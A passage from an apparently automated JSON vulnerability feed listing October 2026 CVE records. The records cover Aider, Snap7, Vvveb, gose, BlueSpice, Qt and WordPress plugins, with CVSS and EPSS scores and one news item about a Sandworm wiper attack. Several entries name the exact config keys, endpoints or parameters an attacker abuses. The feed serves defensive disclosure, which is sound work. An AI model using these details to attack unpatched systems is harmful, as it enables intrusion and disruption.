fixes.","publishedAt":"2026-10-23T12:18:14.437Z","updatedAt":"2026-10-23T12:18:14.560Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-56832","asOf":"2026-10-23T12:18:14.560Z"},"epss":{"probability":0.00148,"percentile":0.03934,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-56832&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-56832","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-56832","type":"primary","publishedAt":"2026-10-23T12:18:14.437Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-56832&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-56832, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115726","cveId":"CVE-2026-115726","aliases":[],"kind":"vulnerability","title":"Aider through 0.86.2 contains a command execution vulnerability that allows attackers to run shell commands by committing a malicious .aider.conf.yml that is auto-loaded without a...","summary":"Aider through 0.86.2 contains a command execution vulnerability that allows attackers to run shell commands by committing a malicious .aider.conf.yml that is auto-loaded without a trust prompt. Attackers can set notifications-command or editor values that are executed via subprocess with shell=True after model replies or /editor use, running commands with the victim's privileges.","detail":"Aider through 0.86.2 contains a command execution vulnerability that allows attackers to run shell commands by committing a malicious .aider.conf.yml that is auto-loaded without a trust prompt. Attackers can set notifications-command or editor values that are executed via subprocess with shell=True after model replies or /editor use, running commands with the victim's privileges.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T12:18:13.413Z","updatedAt":"2026-10-23T19:45:03.547Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115726","asOf":"2026-10-23T19:45:03.547Z"},"epss":{"probability":0.00164,"percentile":0.05593,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115726&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115726","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115726","type":"primary","publishedAt":"2026-10-23T12:18:13.413Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115726&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115726, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115723","cveId":"CVE-2026-115723","aliases":[],"kind":"vulnerability","title":"Snap7 through 1.4.3 contains an out-of-bounds write vulnerability in the passive partner that allows a malicious active partner to overflow application buffers by declaring an...","summary":"Snap7 through 1.4.3 contains an out-of-bounds write vulnerability in the passive partner that allows a malicious active partner to overflow application buffers by declaring an unvalidated BSend total length. Attackers connecting from the configured peer address can declare up to 65535 bytes and send a short fragment, causing BRecv to memcpy past the buffer and crash or corrupt SCADA, HMI or gateway processes.","detail":"Snap7 through 1.4.3 contains an out-of-bounds write vulnerability in the passive partner that allows a malicious active partner to overflow application buffers by declaring an unvalidated BSend total length. Attackers connecting from the configured peer address can declare up to 65535 bytes and send a short fragment, causing BRecv to memcpy past the buffer and crash or corrupt SCADA, HMI or gateway processes.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T12:18:12.983Z","updatedAt":"2026-10-23T15:17:30.323Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115723","asOf":"2026-10-23T15:17:30.323Z"},"epss":{"probability":0.00418,"percentile":0.35858,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115723&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115723","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115723","type":"primary","publishedAt":"2026-10-23T12:18:12.983Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115723&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115723, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112904","cveId":"CVE-2026-112904","aliases":[],"kind":"vulnerability","title":"Vvveb is a powerful and easy to use CMS with page builder to build websites, blogs or ecommerce stores.","summary":"Vvveb is a powerful and easy to use CMS with page builder to build websites, blogs or ecommerce stores. In versions 1.0.8.6 and prior, the nextRestore() and nextBackup() functions in the backup controller accept a file GET parameter and concatenate it directly to DIR_BACKUP without calling sanitizeFileName(). This allows an authenticated administrator to read arbitrary files on the server (via nextRestore) and write SQL dump content to arbitrary locations (via nextBackup). This is inconsistent with the sibling functions restore(), delete(), and download() which all correctly call sanitizeFileName() first. This issue has been patched via commit aa29cb0.","detail":"Vvveb is a powerful and easy to use CMS with page builder to build websites, blogs or ecommerce stores. In versions 1.0.8.6 and prior, the nextRestore() and nextBackup() functions in the backup controller accept a file GET parameter and concatenate it directly to DIR_BACKUP without calling sanitizeFileName(). This allows an authenticated administrator to read arbitrary files on the server (via nextRestore) and write SQL dump content to arbitrary locations (via nextBackup). This is inconsistent with the sibling functions restore(), delete(), and download() which all correctly call sanitizeFileName() first. This issue has been patched via commit aa29cb0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T12:18:11.050Z","updatedAt":"2026-10-23T12:18:11.180Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112904","asOf":"2026-10-23T12:18:11.180Z"},"epss":{"probability":0.00336,"percentile":0.26712,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112904&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112904","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112904","type":"primary","publishedAt":"2026-10-23T12:18:11.050Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112904&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112904, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"thehackernews-russian-linked-hackers-used-new-mesh-76da60089176","cveId":null,"aliases":[],"kind":"vulnerability","title":"Russia-Linked Hackers Used New Mesh Network Backdoor in Destructive Ukraine Attack","summary":"The Russian state-sponsored hacking group Sandworm teamed up with another threat actor to carry out a destructive wiping attack targeting a Ukrainian logistics company last year.\n\nAccording to ESET, the attack involved UAC-0099 (aka Earth Sirrush) obtaining initial access to the target on July 16, 2025, via a spear-phishing email bearing a malware-laced attachment that led to the deployment of","detail":"The Russian state-sponsored hacking group Sandworm teamed up with another threat actor to carry out a destructive wiping attack targeting a Ukrainian logistics company last year.\n\nAccording to ESET, the attack involved UAC-0099 (aka Earth Sirrush) obtaining initial access to the target on July 16, 2025, via a spear-phishing email bearing a malware-laced attachment that led to the deployment of\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Check the vendor advisory linked from the article for affected versions and fixes.","publishedAt":"2026-10-23T11:11:23.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"The Hacker News: Russia-Linked Hackers Used New Mesh Network Backdoor in Destructive Ukraine Attack","url":"https://thehackernews.com/2026/10/russian-linked-hackers-used-new-mesh.html","type":"reporting","publishedAt":"2026-10-23T11:11:23.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports this vulnerability. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"The Hacker News syndication feed","url":"https://feeds.feedburner.com/TheHackersNews","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:50:55.505Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-89320","cveId":"CVE-2026-89320","aliases":[],"kind":"vulnerability","title":"`HmacShaCryptor.Hash` never hashed its input.","summary":"`HmacShaCryptor.Hash` never hashed its input. For any input it returned `HMAC_K(\"\")` — the MAC of the empty message under the key. Every AES-CBC-HMAC JWE produced or verified by gose therefore carried an authentication tag that is constant per key and independent of the message, removing ciphertext integrity entirely.","detail":"`HmacShaCryptor.Hash` never hashed its input. For any input it returned `HMAC_K(\"\")` — the MAC of the empty message under the key. Every AES-CBC-HMAC JWE produced or verified by gose therefore carried an authentication tag that is constant per key and independent of the message, removing ciphertext integrity entirely.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T09:17:08.610Z","updatedAt":"2026-10-23T19:30:07.567Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-89320","asOf":"2026-10-23T19:30:07.567Z"},"epss":{"probability":0.00174,"percentile":0.06836,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-89320&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-89320","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-89320","type":"primary","publishedAt":"2026-10-23T09:17:08.610Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-89320&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-89320, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-25716","cveId":"CVE-2026-25716","aliases":[],"kind":"vulnerability","title":"Missing Authorization vulnerability in Hallo Welt!","summary":"Missing Authorization vulnerability in Hallo Welt! GmbH BlueSpice (Extension:BlueSpiceUserManager) allows any authenticated user without special privileges to block or unblock arbitrary user accounts, including administrators. The REST endpoints /bs-usermanager/v1/block/create and /bs-usermanager/v1/block/delete call UserManager::blockUser() and UserManager::unblockUser(), which do not verify the permissions of the acting user. This allows locking out all administrators (denial of service) and lifting blocks imposed by administrators.\n\nThis issue affects BlueSpice: from 5.0.0 before 5.1.11, from 5.2.0 before 5.2.7.","detail":"Missing Authorization vulnerability in Hallo Welt! GmbH BlueSpice (Extension:BlueSpiceUserManager) allows any authenticated user without special privileges to block or unblock arbitrary user accounts, including administrators. The REST endpoints /bs-usermanager/v1/block/create and /bs-usermanager/v1/block/delete call UserManager::blockUser() and UserManager::unblockUser(), which do not verify the permissions of the acting user. This allows locking out all administrators (denial of service) and lifting blocks imposed by administrators.\n\nThis issue affects BlueSpice: from 5.0.0 before 5.1.11, from 5.2.0 before 5.2.7.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T09:17:06.790Z","updatedAt":"2026-10-23T19:57:42.660Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-25716","asOf":"2026-10-23T19:57:42.660Z"},"epss":{"probability":0.00183,"percentile":0.07831,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-25716&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-25716","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25716","type":"primary","publishedAt":"2026-10-23T09:17:06.790Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25716&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-25716, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-16762","cveId":"CVE-2026-16762","aliases":[],"kind":"vulnerability","title":"An attacker able to supply a crafted XML document to an application using QXmlStreamReader can cause disproportionate CPU consumption during parsing, making the application...","summary":"An attacker able to supply a crafted XML document to an application using QXmlStreamReader can cause disproportionate CPU consumption during parsing, making the application unresponsive (denial of service). Exploitation requires only that the application parse attacker-influenced XML; no authentication, privileges, or user interaction beyond ingesting the input are needed. There is no loss of confidentiality or integrity — no data disclosure, data modification, or code execution — and the impact is contained to the affected process.","detail":"An attacker able to supply a crafted XML document to an application using QXmlStreamReader can cause disproportionate CPU consumption during parsing, making the application unresponsive (denial of service). Exploitation requires only that the application parse attacker-influenced XML; no authentication, privileges, or user interaction beyond ingesting the input are needed. There is no loss of confidentiality or integrity — no data disclosure, data modification, or code execution — and the impact is contained to the affected process.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T09:17:06.647Z","updatedAt":"2026-10-23T19:45:03.547Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:P/AU:Y/R:A/V:X/RE:L/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-16762","asOf":"2026-10-23T19:45:03.547Z"},"epss":{"probability":0.00516,"percentile":0.43664,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-16762&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-16762","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-16762","type":"primary","publishedAt":"2026-10-23T09:17:06.647Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-16762&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-16762, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112838","cveId":"CVE-2026-112838","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in e4jvikwp VikRentCar vikrentcar allows Stored XSS.This issue affects...","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in e4jvikwp VikRentCar vikrentcar allows Stored XSS.This issue affects VikRentCar: from n/a through 1.4.8.","detail":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in e4jvikwp VikRentCar vikrentcar allows Stored XSS.This issue affects VikRentCar: from n/a through 1.4.8.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T09:17:06.163Z","updatedAt":"2026-10-23T16:06:31.143Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112838","asOf":"2026-10-23T16:06:31.143Z"},"epss":{"probability":0.0019,"percentile":0.0856,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112838&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112838","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112838","type":"primary","publishedAt":"2026-10-23T09:17:06.163Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112838&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112838, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112837","cveId":"CVE-2026-112837","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Ruben Garcia GamiPress gamipress allows Blind SQL Injection.This issue...","summary":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Ruben Garcia GamiPress gamipress allows Blind SQL Injection.This issue affects GamiPress: from n/a through 8.0.7.","detail":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Ruben Garcia GamiPress gamipress allows Blind SQL Injection.This issue affects GamiPress: from n/a through 8.0.7.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T09:17:06.043Z","updatedAt":"2026-10-23T16:06:31.143Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112837","asOf":"2026-10-23T16:06:31.143Z"},"epss":{"probability":0.00305,"percentile":0.23069,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112837&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112837","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112837","type":"primary","publishedAt":"2026-10-23T09:17:06.043Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112837&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112837, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112835","cveId":"CVE-2026-112835","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in e4jvikwp VikRentCar vikrentcar allows Reflected XSS.This issue affects...","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in e4jvikwp VikRentCar vikrentcar allows Reflected XSS.This issue affects VikRentCar: from n/a through 1.4.8.","detail":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in e4jvikwp VikRentCar vikrentcar allows Reflected XSS.This issue affects VikRentCar: from n/a through 1.4.8.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T09:17:05.927Z","updatedAt":"2026-10-23T16:06:31.143Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112835","asOf":"2026-10-23T16:06:31.143Z"},"epss":{"probability":0.0019,"percentile":0.0856,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112835&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112835","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112835","type":"primary","publishedAt":"2026-10-23T09:17:05.927Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112835&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112835, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112359","cveId":"CVE-2026-112359","aliases":[],"kind":"vulnerability","title":"Missing Authorization vulnerability in Amauri.IO WPMobile.App wpappninja allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WPMobile.App:...","summary":"Missing 